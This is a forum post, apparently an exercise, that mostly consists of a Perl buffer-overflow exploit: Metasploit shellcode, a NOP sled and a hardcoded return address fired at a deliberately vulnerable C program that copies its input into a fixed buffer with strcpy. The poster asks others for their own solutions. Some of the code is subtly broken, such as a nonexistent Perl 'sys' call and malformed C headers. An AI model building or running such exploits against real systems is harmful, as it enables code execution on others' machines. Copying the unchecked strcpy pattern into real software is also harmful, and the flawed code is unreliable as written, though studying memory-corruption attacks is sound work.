Code: Select all
#!/usr/bin/perl
# linux_ia32_exec - CMD=ls -l Size=68 Encoder=PexFnstenvSub http://metasploit.com
my $shellcode =
"\x2b\xc9\x83\xe9\xf5\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\x64" .
"\x96\x2c\xed\x83\xeb\xfc\xe2\xf4\x0e\x9d\x74\x74\x36\xf0\x44\xc0" .
"\x07\x1f\xcb\x85\x4b\xe5\x44\xed\x0c\xb9\x4e\x84\x0a\x1f\xcf\xbf" .
"\x8c\x90\x2c\xed\x64\xfa\x5f\xcd\x49\xfa\x2c\xba\x37\x1f\xcd\x20" .
"\xe4\x96\x2c\xed";
my $nopsled = "\x90" x 208;
my $ret = "\x70\xf8\xff\xbf"; # 0xbffff870 - we need to convert to little endian
my $payload = $nopsled . $shellcode . $ret;
sys("./vuln", $payload);
print "Done!\n";
And for those interested in the vuln binary:
Code: Select all
#include <string>
#include <stdio>
#include <stdlib>
void
overflow (passed_string)
{
char vulnerable_buffer[272];
strcpy(vulnerable_buffer, passed_string);
}
int
main (int argc, char *argv[])
{
overflow(argv[1]);
exit(0);
}
I'm just interested in seeing others solutions. One problem I've had is (maybe?) having to break up the nopsled/shellcode/ret into individual OPCodes and running them through (char) before I could construct a valid payload. Anyone got an idea how to do that a little better?
Thanks guys!